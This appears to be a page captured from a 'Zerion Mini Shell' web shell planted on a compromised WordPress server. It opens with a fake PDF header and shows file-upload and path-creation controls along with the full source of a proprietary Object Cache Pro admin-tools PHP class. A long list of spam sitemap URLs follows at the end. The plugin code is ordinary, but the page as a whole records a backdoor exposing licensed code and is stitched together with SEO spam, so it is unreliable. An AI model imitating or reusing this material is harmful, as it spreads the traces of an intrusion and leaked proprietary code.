%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/mu-plugins/object-cache-pro/src/Plugin/Pages/
Upload File :
Create Path :
Current File : /dom645759/wp-content/mu-plugins/object-cache-pro/src/Plugin/Pages/Tools.php

<?php
/**
 * Copyright © 2019-2026 Rhubarb Tech Inc. All Rights Reserved.
 *
 * The Object Cache Pro Software and its related materials are property and confidential
 * information of Rhubarb Tech Inc. Any reproduction, use, distribution, or exploitation
 * of the Object Cache Pro Software and its related materials, in whole or in part,
 * is strictly forbidden unless prior permission is obtained from Rhubarb Tech Inc.
 *
 * In addition, any reproduction, use, distribution, or exploitation of the Object Cache Pro
 * Software and its related materials, in whole or in part, is subject to the End-User License
 * Agreement accessible in the included `LICENSE` file, or at: https://objectcache.pro/eula
 */

declare(strict_types=1);

namespace RedisCachePro\Plugin\Pages;

use RedisCachePro\ObjectCaches\ObjectCache;

use const RedisCachePro\Version;

class Tools extends Page
{
    /**
     * Returns the page title.
     *
     * @return string
     */
    public function title()
    {
        return 'Tools';
    }

    /**
     * Returns the page slug.
     *
     * @return string
     */
    public function slug()
    {
        return 'tools';
    }

    /**
     * Whether this page is enabled.
     *
     * @return bool
     */
    public function isEnabled()
    {
        global $wp_object_cache;

        return $wp_object_cache instanceof ObjectCache;
    }

    /**
     * Boot the settings page and its components.
     *
     * @return void
     */
    public function boot()
    {
        if (! $this->isCurrent()) {
            return;
        }

        add_filter('screen_options_show_screen', '__return_true', PHP_INT_MAX);

        $this->addLatencyWidget();
        $this->addFlushLogWidget();
        $this->addGroupFlushLogWidget();

        $this->addHealthWidget();
        $this->addGroupsWidget();

        $this->addSlowLogWidget();
        $this->addCommandsWidget();

        if ($this->plugin->diagnostics()->usingRelayAdaptiveCache()) {
            $this->addAdaptiveCacheWidget();
        }

        $this->enqueueScript();
        $this->enqueueAssets();
    }

    /**
     * Enqueues the assets.
     *
     * @return void
     */
    protected function enqueueAssets()
    {
        $script = $this->plugin->asset('js/tools.js');

        wp_enqueue_script('postbox');

        wp_register_script('objectcache-tools', $script, ['jquery', 'clipboard'], Version);
        wp_enqueue_script('objectcache-tools');

        if (! $script) {
            wp_add_inline_script('objectcache-tools', $this->plugin->inlineAsset('js/tools.js'));
        }
    }

    /**
     * Render the settings page.
     *
     * @return void
     */
    public function render()
    {
        require __DIR__ . '/../templates/pages/tools.phtml';
    }

    /**
     * Adds the "Connection Latency" widget.
     *
     * @return void
     */
    protected function addLatencyWidget()
    {
        add_meta_box(
            'objectcache_latency',
            'Latency',
            function () {
                require __DIR__ . '/../templates/widgets/tools/latency.phtml';
            },
            $this->plugin->screenId(),
            'normal'
        );
    }

    /**
     * Adds the "Cache Groups" widget.
     *
     * @return void
     */
    protected function addGroupsWidget()
    {
        add_meta_box(
            'objectcache_groups',
            'Groups',
            function () {
                require __DIR__ . '/../templates/widgets/tools/groups.phtml';
            },
            $this->plugin->screenId(),
            'side'
        );
    }

    /**
     * Adds the "Flush Log" widget.
     *
     * @return void
     */
    protected function addFlushLogWidget()
    {
        add_meta_box(
            'objectcache_flushlog',
            'Flushes',
            function () {
                require __DIR__ . '/../templates/widgets/tools/flushlog.phtml';
            },
            $this->plugin->screenId(),
            'normal'
        );
    }

    /**
     * Adds the "Flush Group Log" widget.
     *
     * @return void
     */
    protected function addGroupFlushLogWidget()
    {
        add_meta_box(
            'objectcache_groupflushlog',
            'Group Flushes',
            function () {
                require __DIR__ . '/../templates/widgets/tools/flushlog-groups.phtml';
            },
            $this->plugin->screenId(),
            'normal'
        );
    }

    /**
     * Adds the "Diagnostics" widget.
     *
     * @return void
     */
    protected function addHealthWidget()
    {
        add_meta_box(
            'objectcache_health',
            'Health',
            function () {
                require __DIR__ . '/../templates/widgets/tools/health.phtml';
            },
            $this->plugin->screenId(),
            'side'
        );
    }

    /**
     * Adds the "Slow Log" widget.
     *
     * @return void
     */
    protected function addSlowLogWidget()
    {
        add_meta_box(
            'objectcache_slowlog',
            'Slow Commands',
            function () {
                require __DIR__ . '/../templates/widgets/tools/slowlog.phtml';
            },
            $this->plugin->screenId(),
            'column3'
        );
    }

    /**
     * Adds the "Command Stats" widget.
     *
     * @return void
     */
    protected function addCommandsWidget()
    {
        add_meta_box(
            'objectcache_commandstats',
            'Command Statistics',
            function () {
                require __DIR__ . '/../templates/widgets/tools/commands.phtml';
            },
            $this->plugin->screenId(),
            'column3'
        );
    }

    /**
     * Adds the adaptive cache widget.
     *
     * @return void
     */
    protected function addAdaptiveCacheWidget()
    {
        add_meta_box(
            'objectcache_adaptive',
            'Relay Adaptive Cache',
            function () {
                require __DIR__ . '/../templates/widgets/tools/adaptive.phtml';
            },
            $this->plugin->screenId(),
            'column4'
        );
    }

    /**
     * Returns the caller name for given flush-log backtrace.
     *
     * @param  string  $backtrace
     * @return string
     */
    protected function flushlogCaller(string $backtrace)
    {
        /**
         * Filters the cache flush caller.
         *
         * @param  string  $caller  The cache flush caller.
         * @param  string  $backtrace  The cleaned, partial comma-separated string backtrace summary.
         */
        $caller = (string) apply_filters(
            'objectcache_flushlog_caller',
            strstr($backtrace, ',', true) ?: $backtrace,
            $backtrace
        );

        if (strpos($caller, 'Plugin->handleWidgetActions')) {
            return 'Dashboard widget';
        }

        if (strpos($caller, 'Plugin->enableDropin')) {
            return 'Drop-in enabled';
        }

        if (strpos($caller, 'Plugin->disableDropin')) {
            return 'Drop-in disabled';
        }

        if (strpos($caller, '->bootMetadata')) {
            return 'Integrity protection';
        }

        if ($caller == 'Cache_Command->flush') {
            return 'wp cache flush';
        }

        if (strpos($caller, 'Commands->enable')) {
            return 'wp redis enable';
        }

        if (strpos($caller, 'Commands->disable')) {
            return 'wp redis disable';
        }

        if (strpos($caller, 'Commands->flushGroup')) {
            return 'wp redis flush-group';
        }

        if (strpos($caller, 'Commands->flush')) {
            return 'wp redis flush';
        }

        if (strpos($caller, 'Commands->reset')) {
            return 'wp redis reset';
        }

        if (strpos($caller, 'Plugin\Api\\')) {
            return 'REST API';
        }

        if (strpos($caller, 'wp_upgrade') !== false) {
            return 'WordPress upgrade';
        }

        return $caller;
    }

    /**
     * Returns a clean, formatted backtrace for a flushlog entry.
     *
     * @param  string  $backtrace
     * @return string
     */
    protected function flushlogBacktrace(string $backtrace)
    {
        $frames = array_reverse(explode(', ', $backtrace));

        $stack = array_filter($frames, static function ($frame) {
            return ! preg_match('/^(include|require)(_once)?\(/', $frame);
        });

        if (empty($stack)) {
            $stack = $frames;
        }

        $stack = array_filter($stack, static function ($frame) {
            return ! in_array($frame, [
                'call_user_func',
                'call_user_func_array',
                'WP_Hook->do_action',
                'WP_Hook->do_action_ref_array',
                'WP_Hook->apply_filters',
                'WP_Hook->apply_filters_ref_array',
                'RedisCachePro\Plugin->flush',
                'RedisCachePro\Plugin->maybeLogFlush',
                'RedisCachePro\Plugin->maybeLogGroupFlush',
                "apply_filters('pre_objectcache_flush')",
                "apply_filters('pre_objectcache_flush_group')",
                'wp_cache_flush',
                'wp_cache_flush_group',
            ]);
        });

        return implode(', ', array_slice($stack, 0, 5));
    }
}

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap919.xml 2026-12-01 https://louisvillegop.com/sitemap405.xml 2026-12-01 https://louisvillegop.com/sitemap660.xml 2026-12-01 https://louisvillegop.com/sitemap394.xml 2026-12-01 https://louisvillegop.com/sitemap483.xml 2026-12-01 https://louisvillegop.com/sitemap70.xml 2026-12-01 https://louisvillegop.com/sitemap261.xml 2026-12-01 https://louisvillegop.com/sitemap220.xml 2026-12-01 https://louisvillegop.com/sitemap507.xml 2026-12-01 https://louisvillegop.com/sitemap438.xml 2026-12-01 https://louisvillegop.com/sitemap887.xml 2026-12-01 https://louisvillegop.com/sitemap905.xml 2026-12-01 https://louisvillegop.com/sitemap188.xml 2026-12-01 https://louisvillegop.com/sitemap112.xml 2026-12-01 https://louisvillegop.com/sitemap195.xml 2026-12-01 https://louisvillegop.com/sitemap212.xml 2026-12-01 https://louisvillegop.com/sitemap185.xml 2026-12-01 https://louisvillegop.com/sitemap347.xml 2026-12-01 https://louisvillegop.com/sitemap170.xml 2026-12-01 https://louisvillegop.com/sitemap376.xml 2026-12-01 https://louisvillegop.com/sitemap587.xml 2026-12-01 https://louisvillegop.com/sitemap340.xml 2026-12-01 https://louisvillegop.com/sitemap414.xml 2026-12-01 https://louisvillegop.com/sitemap892.xml 2026-12-01 https://louisvillegop.com/sitemap675.xml 2026-12-01 https://louisvillegop.com/sitemap959.xml 2026-12-01 https://louisvillegop.com/sitemap249.xml 2026-12-01 https://louisvillegop.com/sitemap979.xml 2026-12-01 https://louisvillegop.com/sitemap508.xml 2026-12-01 https://louisvillegop.com/sitemap849.xml 2026-12-01 https://louisvillegop.com/sitemap982.xml 2026-12-01 https://louisvillegop.com/sitemap780.xml 2026-12-01 https://louisvillegop.com/sitemap939.xml 2026-12-01 https://louisvillegop.com/sitemap169.xml 2026-12-01 https://louisvillegop.com/sitemap504.xml 2026-12-01 https://louisvillegop.com/sitemap787.xml 2026-12-01 https://louisvillegop.com/sitemap767.xml 2026-12-01 https://louisvillegop.com/sitemap84.xml 2026-12-01 https://louisvillegop.com/sitemap841.xml 2026-12-01 https://louisvillegop.com/sitemap372.xml 2026-12-01 https://louisvillegop.com/sitemap852.xml 2026-12-01 https://louisvillegop.com/sitemap339.xml 2026-12-01 https://louisvillegop.com/sitemap796.xml 2026-12-01 https://louisvillegop.com/sitemap89.xml 2026-12-01 https://louisvillegop.com/sitemap128.xml 2026-12-01 https://louisvillegop.com/sitemap61.xml 2026-12-01 https://louisvillegop.com/sitemap734.xml 2026-12-01 https://louisvillegop.com/sitemap788.xml 2026-12-01 https://louisvillegop.com/sitemap316.xml 2026-12-01 https://louisvillegop.com/sitemap525.xml 2026-12-01 https://louisvillegop.com/sitemap682.xml 2026-12-01 https://louisvillegop.com/sitemap264.xml 2026-12-01 https://louisvillegop.com/sitemap397.xml 2026-12-01 https://louisvillegop.com/sitemap926.xml 2026-12-01 https://louisvillegop.com/sitemap776.xml 2026-12-01 https://louisvillegop.com/sitemap479.xml 2026-12-01 https://louisvillegop.com/sitemap422.xml 2026-12-01 https://louisvillegop.com/sitemap637.xml 2026-12-01 https://louisvillegop.com/sitemap77.xml 2026-12-01 https://louisvillegop.com/sitemap970.xml 2026-12-01 https://louisvillegop.com/sitemap474.xml 2026-12-01 https://louisvillegop.com/sitemap906.xml 2026-12-01 https://louisvillegop.com/sitemap836.xml 2026-12-01 https://louisvillegop.com/sitemap913.xml 2026-12-01 https://louisvillegop.com/sitemap537.xml 2026-12-01 https://louisvillegop.com/sitemap920.xml 2026-12-01 https://louisvillegop.com/sitemap157.xml 2026-12-01 https://louisvillegop.com/sitemap872.xml 2026-12-01 https://louisvillegop.com/sitemap855.xml 2026-12-01 https://louisvillegop.com/sitemap927.xml 2026-12-01